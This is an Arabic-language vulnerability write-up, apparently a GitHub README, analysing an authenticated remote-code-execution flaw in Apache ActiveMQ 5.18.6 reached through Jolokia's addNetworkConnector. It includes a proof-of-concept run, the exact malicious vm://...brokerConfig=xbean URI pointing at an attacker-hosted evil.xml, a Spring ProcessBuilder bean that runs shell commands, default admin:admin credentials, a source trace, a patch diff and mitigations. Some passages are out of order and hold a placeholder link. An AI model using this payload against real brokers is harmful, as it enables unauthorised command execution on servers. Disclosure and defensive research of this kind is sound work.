## إخلاء المسؤولية

هذا المشروع مخصص للأغراض التعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام لهذه الأداة.

يجب ألا تستخدم هذه الأداة على أي نظام أو شبكة دون إذن صريح من المالك.

استخدم على مسؤوليتك الخاصة.

---```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

=> نجاح استغلال الثغرة عن بُعد (RCE)، تم إنشاء الملف `blahblah.txt` على النظام المستهدف.

# مرحلة التحليل
## التحليل الديناميكي```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)

❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

تحقق من الاتصال```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

ثم grep عن السلسلة النظيفة```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

هذا السطر مهم لأنه يؤكد أن عنوان URI الذي يتحكم فيه المهاجر تم توفيره عبر:```java
BrokerView.addNetworkConnector(String)

يحتوي URI هذا على جزأين مهمين:

| المكون           | الغرض                                           |
| ---------------- | ----------------------------------------------- |
| `static:(...)`   | غلاف يستخدمه موصلات اكتشاف ActiveMQ             |
| `vm://evil?...`  | URI نقل VM تتم معالجته داخليًا بواسطة ActiveMQ  |

الغلاف `static:(...)` بحد ذاته ليس المكون الضعيف. الغرض منه هو تمرير URI النقل المغلف إلى نظام موصل الشبكة الخاص بـ ActiveMQ.

أثناء تنفيذ وقت التشغيل، استخرج ActiveMQ وعالج URI النقل VM الداخلي:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

المعامل `brokerConfig=` هو الجزء الحاسم من الحمولة. لقد أمر طبقة نقل VM بإنشاء مثيل وسيط ديناميكيًا باستخدام تهيئة Spring xbean خارجية محملة من:```text
http://192.168.1.32:9999/evil.xml

نتيجة لذلك، تم تحليل مستند XML البعيد وإنشاءه كسياق تطبيق Spring داخل JVM الوسيط.

يحتوي XML الضار على Spring bean التالي:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

نظرًا لأن Spring يقوم بإنشاء مثيلات الفول الانفرادية (singleton beans) بشكل فوري أثناء تهيئة السياق، فإن طريقة `ProcessBuilder.start()` تم تنفيذها قبل أن يتحقق ActiveMQ مما إذا كان تكوين الوسيط نفسه آمنًا أو صالحًا.

أدى ذلك إلى تنفيذ أوامر عشوائية على الحاوية المستهدفة.

تم التحقق من الاستغلال عن طريق فحص الدليل `/tmp` داخل حاوية ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

هذا يثبت أنه تم تنفيذ أوامر نظام التشغيل التعسفية بنجاح داخل سياق حاوية ActiveMQ.

كما كشف تتبع المكدس في وقت التشغيل عن مسار التنفيذ الضعيف بالكامل:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

من أهم الملاحظات أثناء التحليل الديناميكي كانت الترتيب الذي عالج به كل من Spring و ActiveMQ التهيئة الخبيثة.

بعد تنفيذ الحمولة بنجاح، قام ActiveMQ لاحقًا بإنشاء التحذير التالي:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

حتى وإن تم رفض تكوين الوسيط نفسه في النهاية، إلا أن حبة Spring الضارة قد تم بالفعل إنشاؤها وتنفيذها.

هذه المشكلة في الترتيب هي العيب المنطقي الأساسي وراء CVE-2026-34197.

حدد التحليل الديناميكي المكونات التالية المشاركة في سلسلة الاستغلال:

| المكون                     | الدور                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | جسر HTTP إلى JMX                  |
| BrokerView                    | MBean إدارة مكشوف                 |
| VMTransportFactory            | يوزع URI النقل `vm://`          |
| BrokerFactory                 | ينشئ مثيل الوسيط                  |
| XBeanBrokerFactory            | يحمل تهيئة Spring xbean           |
| ResourceXmlApplicationContext | يحمل XML عن بُعد                  |
| XmlBeanDefinitionReader       | يوزع تعريفات حبوب Spring          |
| Spring BeanFactory            | ينشئ حبوبًا مفردة                 |
| ProcessBuilder                | ينفذ أوامر نظام التشغيل           |

يؤكد التحليل الديناميكي أن CVE-2026-34197 ناتج عن التفاعل بين:

* عمليات إدارة Jolokia المفرطة في السماح
* URIs النقل التي يتحكم فيها المهاجم
* الإنشاء التلقائي لوسيط نقل VM
* تحميل تهيئة Spring xbean عن بُعد
* إنشاء حبة مفردة مبكرًا قبل التحقق

نتيجة لذلك، يمكن للمهاجم الموثق تحقيق تنفيذ كود تعسفي على JVM ActiveMQ من خلال توفير URI ضار `brokerConfig=xbean:http://...` عبر عملية `addNetworkConnector()` المكشوفة بواسطة Jolokia.

### نظرة عامة على البنية

يعرض Apache ActiveMQ Classic واجهة إدارة من خلال جسر Jolokia JMX-HTTP المتاح في:```text id="n0vmrq"
/api/jolokia/

المكونات التالية كانت متورطة في سلسلة الاستغلال:

| المكون | الوظيفة |
| --------------------- | -------------------------------------------- |
| Jolokia | يعرض عمليات JMX عبر HTTP |
| BrokerView | واجهة MBean للإدارة |
| VMTransportFactory | يعالج URIs النقل من نوع `vm://` |
| BrokerFactory | ينشئ الوسطاء ديناميكيًا |
| XBeanBrokerFactory | يحمل تهيئات xbean من Spring |
| محمل سياق Spring | يوزع ويعرّف تعريفات XML للـ beans |
| ProcessBuilder | ينفذ أوامر نظام التشغيل |

تصبح البنية معرضة للخطر لأن ActiveMQ يسمح للمستخدمين الموثَّقين باستدعاء طرق إدارة الوسطاء الخطيرة باستخدام URIs نقل يتحكم فيها المهاجم.

---

### تحليل سطح الهجوم

سطح الهجوم الأساسي هو نقطة نهاية Jolokia HTTP المعروضة عبر وحدة تحكم الويب الخاصة بـ ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/

لقد قبلت نقطة نهاية Jolokia الطلبات الموثقة باستخدام المصادقة الأساسية لـ HTTP:```json id="13tzmx"
"authMode":"basic"

تقبل هذه الطريقة URI نقل يتحكم فيه المستخدم دون تقييد كافٍ لأنماط URI الخطيرة أو معلمات التهيئة.

قدم المهاجم الحمولة التالية:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

المعلمة الحرجة هي:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

ثم قام Spring بتحميل XML البعيد عبر:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

أثناء تهيئة سياق تطبيق Spring، يتم إنشاء حبوب (beans) المفردة (singleton) بفورية. ونتيجة لذلك، تم تنفيذ طريقة `ProcessBuilder.start()` على الفور.

الخلل المنطقي الرئيسي هو أن إنشاء حبوب Spring حدث قبل أن يتحقق ActiveMQ مما إذا كانت تكوين البروكر نفسه آمنًا أو صالحًا.

تم إثبات هذا السلوك ديناميكيًا لأن:

1. أنشأ الحمولة الخبيثة `/tmp/blahblah.txt` بنجاح
2. رفض ActiveMQ لاحقًا تكوين البروكر بـ:```text id="6k1dwn"
The configuration has no BrokerService instance

عبر:```text id="pt2n3d"
/api/jolokia/

مثال على حمولة خبيثة:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

يجب التحقيق في حركة HTTP الخارجة غير المتوقعة من broker JVM.

#### سجلات Runtime المشبوهة

رسائل runtime التالية مشبوهة:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

- **اسم الأداة**: [ToolKit](https://github.com/example/toolkit) - مجموعة من الأدوات المساعدة للأمن.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

أو قد يشير تنفيذ عملية فرعية مشبوهة من JVM الخاص بـ ActiveMQ إلى استغلال ثغرة.

---

### تحليل التأثير

يسمح الاستغلال الناجح بتنفيذ تعليمات برمجية عن بُعد موثَّق داخل سياق JVM الخاص بـ ActiveMQ.

في البيئة التي تم تحليلها، تم تنفيذ أوامر نظام التشغيل بشكل اعتباطي بنجاح داخل الحاوية:```bash id="2hyz0w"
touch /tmp/blahblah.txt

تم إنشاء الملف كالتالي:```text id="9phgkz"
Uid: (0/root)

#### تقييد الوصول إلى Jolokia

قم بتعطيل Jolokia إذا لم يكن مطلوبًا.

إذا كان يجب إبقاء Jolokia ممكّنًا:

* قيّد الوصول إلى شبكات الإدارة الموثوقة
* فرّض توثيقًا قويًا
* عطّل عمليات exec الخطيرة
* طبّق سياسات وصول Jolokia صارمة

#### إزالة بيانات الاعتماد الافتراضية

لا تستخدم:```text id="9mw1xv"
admin:admin

واجهة MBean تعرض العملية على النحو التالي:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

يتم بعد ذلك تكوين connector object مع local broker URI وإضافته إلى broker:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

لـ URI الاستغلال:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

الطريقة القابلة للاختراق هي:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

الخيار `create` القيمة الافتراضية له هي `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

هذا هو فشل حدود الامتياز على مستوى النقل. يتم تقييم URI المقدم من خلال مستوى الإدارة بواسطة نقل VM كتعليمات لإنشاء وسيط من URI تهيئة عشوائي.

يحدث التحقق من المعلمات المتبقية بعد إنشاء الوسيط:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

بالنسبة لـ `static:(...)`, يقوم `SimpleDiscoveryAgent.start()` بإصدار كل خدمة مكونة فوراً:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

يعتمد البحث عن المعالج على المخطط:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

تدفق الاستدعاء الثابت الدقيق:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

إلى:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

يستخرج `createBroker()` الجزء الخاص بالمخطط من URI `xbean:` وينشئ سياق تطبيق Spring قبل التحقق مما إذا كان يحتوي على وسيط:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

يتم قبول الموارد البعيدة بواسطة `Utils.resourceFromString()`:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

يتم اختزاله إلى:```text
http://192.168.1.32:9999/evil.xml

في XBean 4.25، يستدعي `ResourceXmlApplicationContext` الدالة `refresh()` من المُنشئ الخاص به:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

بعد ذلك، يقوم `AbstractApplicationContext.refresh()` من Spring بتهيئة مصنع الفول وإنشاء حبوب مفردة غير كسولة:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

`DefaultListableBeanFactory.preInstantiateSingletons()` ينشئ كل bean غير مجرد، singleton، غير كسول:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

يتم حل طريقة init المخصصة من تعريف الفول:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

حبة Spring XML خبيثة مثل:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

يحدث هذا قبل أن يتحقق `XBeanBrokerFactory.createBroker()` من السياق الناتج عن طريق البحث عن Bean من نوع `BrokerService`:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

يتم التحقق بعد فوات الأوان لأن التحقق الوحيد من تكوين الوسيط في `XBeanBrokerFactory` يحدث بعد:```java
new ResourceXmlApplicationContext(resource)

بحلول الوقت الذي يحدد فيه ActiveMQ أن XML لا يحتوي على `BrokerService` صالح، قد تكون حبوب Spring التي يتحكم بها المهاجم قد نفذت بالفعل.

---

### تحليل التصحيح

تمت مراجعة الفرق ذي الصلة باستخدام:```bash
git diff activemq-5.18.6..activemq-5.19.4

في الإصدار 5.18.6، قامت الدالة `addNetworkConnector()` بتوجيه السلسلة النصية مباشرة:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

تمت إضافة نفس التحقق إلى `addConnector()`:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

يصبح مسار التنفيذ المعالج:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

لا يزيل التصحيح دعم نقل VM بشكل عام. إنه يقيد استخدام `vm://` عبر طرق إنشاء الموصلات المواجهة لـ JMX في `BrokerView`. لا تزال مسارات التعليمات البرمجية الداخلية أو الموثوقة التي تستخدم نقل VM موجودة.

لم يتم إجراء أي تغيير متعلق بالأمان على `VMTransportFactory.doCompositeConnect()` بين الإصدارين 5.18.6 و5.19.4. يظل سلوك `brokerConfig` كما هو:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

هذا هو تنظيف سلامة النوع، وليس تخفيف RCE. يظل الإرسال المعتمد على المخطط إلى `XBeanBrokerFactory` قائمًا.

اكتسب `BrokerService` عمليات التحقق من `isAutoStart()` لبدء تشغيل الموصل في بعض المسارات:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

يمكن حدوث الاستغلال لأن ActiveMQ يُظهر عملية إدارية تقبل URI موصل، ولكن تنفيذ النقل النهائي يمكنه تفسير هذا URI كإعدادات إنشاء وسيط. يعبر معامل `brokerConfig` من منطق اتصال النقل إلى منطق مصنع الوسيط. باستخدام قيمة `xbean:`، يعبر مرة أخرى إلى معالجة Spring XML.

الأساس التنفيذي لـ Spring ليس خطأ منفصلًا في إلغاء التسلسل. إنه سلوك Spring طبيعي لدورة الحياة: يتم إنشاء حبة مفردة غير كسولة (non-lazy singleton bean) أثناء تحديث السياق، ويتم استدعاء `init-method` المُهيأ لها. لذا، فإن حبة `java.lang.ProcessBuilder` مع `init-method="start"` تنفذ عملية أثناء تهيئة سياق التطبيق.

فشل التحقق هو خلل في الترتيب. يتحقق ActiveMQ مما إذا كان تكوين XBean يحتوي على `BrokerService` قابل للاستخدام فقط بعد أن يكون `ResourceXmlApplicationContext` قد حمّل ملف XML بالفعل وقام بتهيئة الحبوب المفردة. رفض تكوين الوسيط بعد التحديث لا يلغي الآثار الجانبية الناتجة عن طرق دورة حياة الحبوب.

يعمل التصحيح في الإصدار 5.19.4 على تخفيف هذا المسار المحدد عن طريق إضافة التحقق من URI في `BrokerView` قبل إنشاء الموصل ورفض استخدام نقل `vm://` من سطح إدارة JMX. يمنع التصحيح المسار المُكشوف إلى `VMTransportFactory.doCompositeConnect()`؛ ولا يزيل دعم `brokerConfig` أو `xbean:` أو تحميل Spring XBean من مسارات التكوين الداخلية الموثوقة.